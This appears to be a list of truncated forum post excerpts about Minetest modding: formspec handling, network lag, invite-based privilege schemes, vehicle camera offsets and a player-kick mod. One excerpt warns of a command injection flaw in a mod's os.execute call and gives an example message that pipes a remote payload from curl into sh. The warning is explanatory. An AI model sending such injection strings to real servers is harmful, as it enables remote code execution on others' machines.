the harder solution is to force the water sources to render the top face if there is a block on top of them (not water), but i think that you have to check all water sources all the time which would also generate lag... so the super easy and working solution is to dont use wawing liqud until someon...

The command passed to os.execute is constructed with string concatenation. By specially crafting a "message", an unprivileged user can execute arbitrary commands on the host system (for example the message "; curl http://example.com/payload | sh; echo " will cause a remote paylo...

From what I understand handleCommand_* are executed on packet receive. And Minetest uses UDP, which has no constraint on the order in which the packets are received (to be faster than TCP). If you call minetest.close_formspec("player_name", "my_formspec", formspec) and minetest....

Try doing `minetest.after`with 0s delay, as that will make the new form show one tick after the other one closed. As far as I can understand from his description of the problem, I think his issue is either that the client is ignoring a new form from the server if the user happens to close an existi...

When you show a form using minetest.show_formspec you pass a "name" for the form (which is also passed to your formspec handler callback if you want to respond to e.g. button clicks in the form). If you later show another form with the same name (and to the same player), this will replace ...

You need to use the set_eye_offset function. You call this function using the same object that you call the set_attach function on when you attach the player model to the vehicle. Don't forget to reset the eye offset when the player leaves the vehicle (at the same time that you detach the player mo...

The Minetest package from the Ubuntu 16.04 PPA seems to work on Chromebooks (this one offers the latest Minetest version at the time of writing - 18.04 may also work if 16.04 gets dropped). Of course, this only works on x86-based Chromebooks and Linux application support might be disabled by an ente...

The main problem with changing settings from mods is that the settings are not only applied for the current world but will also be used for other worlds or as default values for new worlds. Mods (or generally speaking, all applications) should not mess with user settings if not explicitly requested...

Regarding the player at the top of the tree, they don't have to be online 24/7: "inviters" would automatically have interact. This something I thought about but did not, indeed, mentioned. New exploit: Create a second account and "invite" them, or ask your friend who doesn't pla...

Regarding (mostly) the issue of inactive players and always needing to have the players higher up the tree always online, I thought of a solution that involves splitting players into two groups. "New" players need their inviter to be online before they can play. These players cannot invite...

The main issue that I can see straight away is where a long tree of invites is formed and then someone higher up the tree decides to randomly (or maliciously) revoke or detach the person below/above them which causes a large number of mostly-unrelated players to suddenly lose their privileges. There...

If you're playing on WiFi, try a wired (ethernet) connection (plug your computer into your router with a cable). If you're playing on a phone or a tablet, use WiFi rather than 3G or 4G internet. Also make sure that local map saving is turned off (unless you specifically turned it on, it will be off ...

It's interesting to see this issue mentioned here, as I have also observed two similar issues neither of which make sense according to my (limited) understanding of the Minetest code. The first is a server-side issue on a server that I play on, where the lag between doing something and seeing the re...

So how you recommend to have the code now?? Exactly as I explained in my previous post. I will repeat the relevant parts here, because you are apparently unable to do anything with the information that I give you unless it is repeated twice. According to the code that you posted previously, you're ...

and my code doesnt work. This is it now (only the automatic kick code) minetest.register_globalstep(function(dtime) local status = minetest.run_server_chatcommand("status") if string.find(status, "^# Server: .*clients={([^}]*)}") then local list = string.match(status, "^# S...

These bugs allow you to fill up your inventory with garbage. And when your inventory is full and you have no nexus cubes, it's game over. It's your own fault if you fill your inventory up with items that you (should) know you don't need (especially ores which are stackable). That said, being able t...

I'm not sure how input are handled from client to server, with prediction and stuff like that. It seems to work locally with two clients, but everything is in client/, I feel I have missed something but I don't really know where to look. AFAIK look direction is handled completely client-side. The c...

I have tested the mod according to the last version of the code that you posted (with the changes that I specified in my last post). I made a mistake with the ^*** (%S*) joined the game$ pattern and it should be changed to ^*** (%S*) joined the game%.$ (Minetest puts a . at the end of the join messa...

When you say "doesn't work", do you get an error message or is it just that nothing seems to happen when someone joins the game?
